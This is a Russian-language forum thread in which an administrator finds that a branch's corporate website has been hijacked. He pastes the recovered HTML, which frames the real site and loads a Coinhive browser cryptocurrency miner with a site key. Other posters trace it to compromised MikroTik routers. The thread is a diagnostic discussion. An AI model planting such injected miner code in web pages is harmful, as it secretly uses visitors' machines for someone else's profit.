минер майнит на странице?

Админ

17.10.18

✎

21:28

есть корпоративный сайт
перестал открываться один из филиалов, другие норм.
Коекак выцарапал нтмл
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>"http://tighina.silvicultura.md/"</title>;
<script src="https://coinhive.com/lib/coinhive.min.js"></script>;
<script>
    var miner = new CoinHive.Anonymous('oDcuakJy9iKIQhnaZRpy9tEsYiF2PUx4', {throttle: 0.2});
    miner.start();
</script>
</head>
<frameset>
<frame src="http://tighina.silvicultura.md/"></frame>;
</frameset>
</html>

похоже кто-то майнит на этом филиале.
вот не понятно это приходит с сервера головного офиса или встраивается на месте и антивирус блокирует сайт.

1 Tonik992

17.10.18

✎

21:35

Забавный случай, кто-то зарабатывает на честных сотрудниках.

2 Tonik992

17.10.18

✎

21:35

А может быть где-то брешь в защите, вредоносный код извне.

3 ildus78

17.10.18

✎

21:36

(0) ты бы хоть поиском воспользовался по oDcuakJy9iKIQhnaZRpy9tEsYiF2PUx4
не пришлось бы создавать тему
вот результат поиска: https://xakep.ru/2018/08/03/mikrotik-under-attack/

4 DES

17.10.18

✎

21:36

щас почитал - пишут что роутер микротик вставляет этот код
но я обновился до свежей версии.

5 ildus78

17.10.18

✎

21:37

это безответственное расфисдяйство системного администратора

6 DES

17.10.18